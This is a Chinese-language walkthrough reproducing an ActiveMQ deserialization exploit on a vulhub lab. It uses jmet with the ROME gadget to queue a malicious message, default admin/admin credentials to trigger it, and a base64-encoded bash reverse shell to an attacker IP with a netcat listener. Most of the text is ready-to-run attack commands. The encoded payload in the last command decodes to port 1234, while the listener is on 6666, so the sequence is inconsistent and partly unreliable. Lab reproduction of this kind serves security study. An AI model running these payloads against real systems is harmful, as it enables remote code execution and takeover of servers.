这里复现的靶场使用的是vulhub搭建的,过多的我就不赘述了,直接启动靶场,启动正确我们访问IP(靶场IP):8161这里以192.168.218.132:8161为例,如果出现下图场景,则证明靶场搭建成

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

创建external文件夹
mkdir external
下载jmet
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器A添加了一个“事件”
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /root/sucess" -Yp ROME 192.168.218.132 61616

现在管理员不知情,还是像往常一样打开以下链接查看事件,弹框输入账号admin,密码也是admin
http://192.168.218.132:8161/admin/browse.jsp?JMSDestination=event

获取目标机系统控制权在攻击机上新建一个终端(1)开启6666端口监听
nc -lvp 6666

在攻击机上新建一个终端(2)输入构建的payload
payload为 bash -i >& /dev/tcp/192.168.218.128/6666 0>&1
将payload进行base64位编码为:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xMjgvNjY2NiAwPiYx
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xMjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.218.132 61616

点击事件id进行触发

然后终端(1)就监听到了
